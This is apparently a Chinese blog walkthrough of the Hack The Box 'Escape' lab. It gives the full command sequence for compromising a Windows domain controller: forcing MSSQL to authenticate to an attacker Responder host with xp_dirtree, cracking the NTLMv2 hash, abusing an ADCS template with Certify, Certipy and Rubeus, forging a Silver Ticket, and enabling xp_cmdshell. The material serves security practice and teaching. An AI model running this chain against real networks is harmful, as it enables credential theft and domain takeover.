HTB-Escape

端口扫描开放

SMB (445)、NetBIOS (135/139)、LDAP (389 等) 和 WinRM (5985),以及通常在 DC 上监听的 53 (DNS) 和 88 (Kerberos)。还有一个 MSSQL 服务器 (1433)。

加入/hosts

10.10.11.202 dc.sequel.htb sequel.htb dc

nmap扫描里面有有关证书的提示

Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=dc.sequel.htb

了解一下正在使用的 TLS 证书,使用openssl拉取和格式化它

oxdf@hacky$ openssl s_client -showcerts -connect 10.10.11.202:3269  | openssl x509 -noout -text
...[snip]...                                                
Certificate:                                                     
    Data:                                                        
        Version: 3 (0x2)                                         
        Serial Number:   
            1e:00:00:00:04:90:52:7b:fc:91:38:74:2f:00:00:00:00:00:04 
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: DC = htb, DC = sequel, CN = sequel-DC-CA
        Validity                                  
            Not Before: Nov 18 21:20:35 2022 GMT
            Not After : Nov 18 21:20:35 2023 GMT
        Subject: CN = dc.sequel.htb   
        Subject Public Key Info:                   
            Public Key Algorithm: rsaEncryption
...[snip]...

有趣的是,请注意颁发证书的证书颁发机构,续集sequel-DC-CA。

smb枚举

smbclient //10.10.11.202/Public -N

get "SQL Server Procedures.pdf"

尝试枚举数据库(mssql触发responder获得hash)

该服务器上有四个数据库:

mssqlclient.py sequel.htb/PublicUser:GuestUserCantWrite1@dc.sequel.htb

SQL (PublicUser  guest@master)> select name from master..sysdatabases;
name     
------   
master   
tempdb   
model    
msdb  

这些是MSSQL 上的四个默认数据库

我要接着枚举mssql

还有其它集中可以枚举的方向

  • 检查 DNS 的区域传输/暴力破解子域。

  • 枚举 LDAP,包括或不包括凭据。

  • 使用凭证来运行 Bloodhound。

  • 使用凭证来对 Kerberoast 进行攻击。

  • 通过 Kerberos 暴力破解用户名/密码。

后续如果mssql枚举无果可以来尝试

xp_cmdshell whoami 失败

启动

EXECUTE sp_configure 'show advanced options', 1也是失败

数据库中没有有趣的数据,也无法运行命令接下来要尝试的是让 SQL 服务器重新连接到我的主机并进行身份验证,然后捕获我可以尝试暴力破解的质询/响应。可以看Querier以及通过 NTLMv2 获取凭据的帖子中展示了这一点。

利用responder捕捉

sudo python3 Responder.py -I tun0

想尝试一下能不能捕捉到smb的

利用mssql读取主机上共享上的文件:

EXEC xp_dirtree '\10.10.14.6\share', 1, 1;

  1. '\\10.10.14.6\share':

    • 这是路径参数,指定要检索其列表的目录。

    • 它应该是文件系统上的有效路径,在本例中,它是 IP 地址为“10.10.14.6”且共享名称为“share”的网络共享。

  2. 1:

    • 这是深度参数。

    • 它指定要检索的目录列表的深度级别。在本例中,它设置为“1”,意味着仅返回指定目录中的直接文件和子目录。

  3. 1:

    • 这是标志参数。

    • 它控制输出格式以及有关文件和目录的附加信息。

    • 当设置为“1”时,它包括附加信息,例如文件或目录大小和日期。

总之,xp_dirtree在此上下文中,执行该过程以列出位于“\10.10.14.6\share”的网络共享中的文件和子目录。它检索目录直接级别的信息,输出包括文件或目录大小和日期等详细信息。

responder的监听就会返回hash值

sql_svc::sequel:903888d6cc8311eb:761B09654C1B356477D996132AA281B9:01010000000000A421ABF13EDA01CEEF3E482DEEB823000000000200080032004C004700330001001E00570049004E002D00500043004B004B0057004500510045005400310004003400570049004E002D00500043004B004B0057004500450051004500540031002E0032004C00470033004C004F00430041004C000300140032004C00470033002E004C004F00430041004C000500140032004C00470033002E004C004F0043004C000700080000A421ABF13EDA010600040002000000080030003000000000000000000000000030000067ADCAB21C720CA2FAD053862578BC37126CD711F3E9C534A2C6BC18B4670A001000000000000000000000000000000000000900200063006900660073002F0030002E00310030002E00310036002E00310036000000000000000000

利用hashcat破解

hashcat sql_svc_netntmlv2 /usr/share/wordlists/rockyou.txt

获得账号密码,登入

evil-winrm -i 10.10.11.202 -u sql_svc -p REGGIE1234ronnie

提权

开始枚举

sql_svc 主目录基本是空的。Ryan.Cooper 是主机上唯一一个拥有主目录的用户

枚举到C:\SQLServer\Logs> type ERRORLOG.BAK

查看后发现有个logon Ryan.Cooper failed 后面有个密码,尝试一下

evil-winrm -i 10.10.11.202 -u ryan.cooper -p NuclearMosquito3

Windows 域中始终需要枚举的一件事是查找 Active Directory 证书服务 (ADCS)。检查这一点的快速方法是使用crackmapexec(它可以作为 sql_svc 或 Ryan.Cooper):

crackmapexec ldap 10.10.11.202 -u ryan.cooper -p NuclearMosquito3 -M adcs

-M adcs: 这指定了要使用的模块,即 adcs。在这个上下文中,adcs 可能是指与 Active Directory Certificate Services 相关的模块,用于测试与证书服务有关的漏洞或配置。

有一个和上面一样的CA

这边这个尝试没有成功

识别易受攻击的模板(利用证书获取tgt)
方法一上传certipy.exe工具

扩展

https://posts.specterops.io/certified-pre-owned-d95910965cd2这个是adcs的扩展

Ghostpack-CompiledBinaries/dotnet v4.5 compiled binaries/Certify.exe at master · r3motecontrol/Ghostpack-CompiledBinaries · GitHub 里面有它的使用情景

upload Certify.exe

.\Certify.exe find /vulnerable /currentuser

会列出一个易受攻击的证书模板

  1. 模板名称:我们这里有“UserAuthentication”模板,可用于通过 Kerberos 或 LDAP 对用户进行身份验证。

  2. 注册权限:提到该域的域用户可以注册证书。由于我们的用户 Ryan 是域用户的一部分,因此我们可以使用他的帐户。

  3. msPKI-Certificate-Name-Flag:它提到“ENROLLEE SUPPLIES SUBJECT”,这意味着我们可以向证书模板提供主题。在这种情况下,我们将添加主题“altname”,它指的是替代名称[我们将使用管理员作为替代名称,然后代表管理员获取证书,稍后我们将使用该证书以管理员身份进行身份验证。]

Certify.exe我可以通过接下来运行以请求具有管理员备用名称的证书来继续自述文件场景 3 。它返回一个cert.pem

.\Certify.exe request /ca:dc.sequel.htb\sequel-DC-CA /template:UserAuthentication /altname:administrator

ca:CA Name template:Template Name

自述文件和该输出的末尾都显示了下一步。我会将所有内容复制-----BEGIN RSA PRIVATE KEY----------END CERTIFICATE-----主机上的文件中,并.pfx使用给定的命令将其转换为 a,出现提示时不输入密码:

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

我将上传cert.pfx以及Rubeus的副本(从SharpCollection下载),然后运行asktgt命令,向其传递证书以作为管理员获取 TGT:

.\Rubeus.exe asktgt /user:administrator /certificate:C:\programdata\cert.pfx

有用!但是,Rubeus 尝试将返回的票证直接加载到当前会话中,因此理论上,一旦我运行此命令,我就可以进入管理员的文件夹并获取标志。然而,这对 Evil-WinRM 不起作用。

相反,我将使用 运行相同的命令/getcredentials /show /nowrap。这将执行相同的操作,尝试转储有关帐户的凭据信息:

.\Rubeus.exe asktgt /user:administrator /certificate:C:\programdata\cert.pfx /getcredentials /show /nowrap

最后一行是管理员帐户的 NTLM 哈希值。

方法2利用certipy工具

完成同样事情的替代工具是Certipy,它很好,因为我可以从我的虚拟机远程运行它。它有一个find命令可以识别易受攻击的模板:不过这个我没有尝试

certipy find -u ryan.cooper -p NuclearMosquito3 -target sequel.htb -text -stdout -vulnerable

req获得证书:.pfx``Certify.exe``openssl

certipy req -u ryan.cooper -p NuclearMosquito3 -target sequel.htb -upn administrator@sequel.htb -ca sequel-dc-ca -template UserAuthentication

auth命令将获取该证书 ( administrator.pfx) 并获取哈希值。

certipy auth -pfx administrator.pfx

Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee

制作银票

白银票据(How Attackers Use Kerberos Silver Tickets to Exploit Systems – Active Directory Security

自己的理解:相当于就是tgs发送的AT是在本地伪造的(AT中的一部分是需要server密钥解密码的得到cs_sk对另一部分解密,里面部分信息和客户端第二部分内容带来的自己的信息进行比对,最终确认该客户端就是经过了KDC认证的具有真实身份的客户端,是他可以提供服务的客户端),当攻击机在知道server的hash密码时,就可以本地伪造AT了,然后直接访问服务

为了创建或伪造银票,攻击者必须了解目标服务的密码数据(密码哈希)。如果目标服务在用户帐户的上下文中运行,例如 MS SQL,则需要服务帐户的密码哈希才能创建银票

通常,当我想要对 MSSQL 进行身份验证时,我会要求提供服务主体名称 (SPN) 的 Kerberos 票证。该请求发送到密钥分发中心 (KDC)(通常是域控制器),在其中查找与该 SPN 关联的用户,检查所请求的用户是否应该具有访问权限,并在几轮通信后返回用户的票证,使用服务帐户的 NTLM 哈希对其进行加密。现在,当用户将该票证提供给服务时,服务可以对其进行解密并将其用作身份验证。

在银票攻击中,与 DC 的所有通信都会被跳过。攻击者伪造服务票证(也称为 TGS),并使用服务帐户的 NTLM 对其进行加密。

我有 sql_svc 帐户的 NTLM 哈希值。MSSQL 服务没有分配 SPN(如果有,我可以要求 DC 生成一个服务票证,该票证将使用 sql_svc 的哈希进行加密,然后对其进行修改)。不过,我这里不需要 DC。我可以使用 Impacket 工具在本地伪造服务票证,使用 sql_svc 的 NTML 哈希对其进行加密,然后连接到 MSSQL。该票证不适用于任何其他服务,但我将能够模拟 MSSQL 上的任何用户。

要生成 Silver Ticket,我将使用ticketer.py,它需要以下信息:

  • sql_svc 的 NTLM 哈希。

  • 域 SID。

  • 域名。

  • SPN(不必是有效的 SPN)。

  • 要模拟的用户的名称。

我已经获得了sequel.htb的域名。

我已经获得了 sql_svc 的密码,但我需要 NTLM 哈希。有很多在线工具可以为您计算。这对于 HTB 来说效果很好,但如果这是真正的参与,我不想将客户数据放入不受信任的网站。

我将在 Python 中使用hashlib. NTLM 是 MD4 具有 UTF-16 小结尾的密码编码:

>>> import hashlib
>>> hashlib.new('md4', 'REGGIE1234ronnie'.encode('utf-16le')).digest()
b'\x14C\xec\x19\xdaM\xacO\xfc\x95;\xca\x1bW\xb4\xcf'

为了很好地打印它,我将使用hex():REGGIE1234ronnie这个时前面获得的sql_svc的密码

>>> hashlib.new('md4', 'REGGIE1234ronnie'.encode('utf-16le')).digest().hex()
​
'1443ec19da4dac4ffc953bca1b57b4cf'

Get-ADDomain( docs ) 返回有关域的信息,包括 SID:

*Evil-WinRM* PS C:\Users\sql_svc\Documents> Get-ADDomain | fl DomainSID
​
DomainSID : S-1-5-21-4078382237-1492182817-2568127209

使用ticketer.py告知以下信息:

oxdf@hacky$ ticketer.py -nthash 1443ec19da4dac4ffc953bca1b57b4cf -domain-sid S-1-5-21-4078382237-1492182817-2568127209 -domain sequel.htb -spn doesnotmatter/dc.sequel.htb administrator
​
​
Impacket v0.10.1.dev1+20230608.100331.efc6a1c3 - Copyright 2022 Fortra
​
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for sequel.htb/administrator
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in administrator.ccache

它计算必要的信息并将 TGS 保存在administrator.ccache. 我将使用KRB5CCNAME环境变量告诉我的系统使用该服务票证进行身份验证。export KRB5CCNAME=administrator.ccache这可以通过运行或在每个命令之前添加来完成KRB5CCNAME=administrator.ccache(我将用它来显示它的使用位置)。KRB5CCNAME=administrator.ccache``ccache:此环境变量指定用户“管理员”的Kerberos 票证缓存 ( ) 文件的位置。它通常用于存储身份验证期间获得的 Kerberos 票证。

KRB5CCNAME=administrator.ccache mssqlclient.py -k dc.sequel.htb

从现在起,我可以以管理员身份从框中读取文件:(sql里面)

SELECT * FROM OPENROWSET(BULK N'C:\users\ryan.cooper\desktop\user.txt', SINGLE_CLOB) AS Contents BulkColumn

您提供的 SQL 查询似乎正在使用该OPENROWSET函数从文件中读取数据。具体来说,它尝试读取位于的文件的内容C:\users\ryan.cooper\desktop\user.txt并将其作为单个 CLOB(字符大对象)值进行检索。

以下是查询的细分:

SELECT * FROM OPENROWSET(BULK N'C:\users\ryan.cooper\desktop\user.txt', SINGLE_CLOB) AS Contents;
  • OPENROWSET:该函数用于从文件或数据源读取数据。它允许您从外部源访问数据。

  • BULK:该关键字与 结合使用,OPENROWSET表示数据源是文件。

  • N'C:\users\ryan.cooper\desktop\user.txt':这是读取数据的文件路径。它是一个位于C:\users\ryan.cooper\desktop\user.txt.

  • SINGLE_CLOB:指定正在读取的数据的格式。在这种情况下,它表明数据被视为单个 CLOB(字符大对象)值。

  • AS Contents:这将为检索到的数据分配一个列别名“Contents”。

  • 执行

    xp_cmdshell仍然处于禁用状态,但与 sql_svc 不同,管理员用户有权启用它:

    SQL (sequel\Administrator  dbo@master)> xp_cmdshell whoami
    [-] ERROR(DC\SQLMOCK): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.
    SQL (sequel\Administrator  dbo@master)> EXECUTE sp_configure 'show advanced options', 1
    [*] INFO(DC\SQLMOCK): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
    SQL (sequel\Administrator  dbo@master)> RECONFIGURE
    SQL (sequel\Administrator  dbo@master)> EXECUTE sp_configure 'xp_cmdshell', 1
    [*] INFO(DC\SQLMOCK): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
    SQL (sequel\Administrator  dbo@master)> RECONFIGURE
    SQL (sequel\Administrator  dbo@master)> xp_cmdshell whoami
    output           
    --------------   
    sequel\sql_svc

    命令仍然作为 sql_svc 运行。这是因为 sql_svc 仍然是运行 MSSQL 服务的进程。它只能与操作系统协商以管理员身份读取文件,因为它有该票证。

通过以管理员身份读写文件,我可以将其转变为以管理员身份执行。此 PayloadsAllTheThings 页面显示了各种方法。我在 HackBack 中展示了 DiagHub 方法,尽管它已经被修补了。我在 Proper 中展示了 WerTrigger 方法,我相信该方法仍然有效。

或者我可以通过 MSSQL 使用 shell 并SeImpersonatePrivilege通过 Potato 漏洞进行滥用(正如我之前多次展示的那样)。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值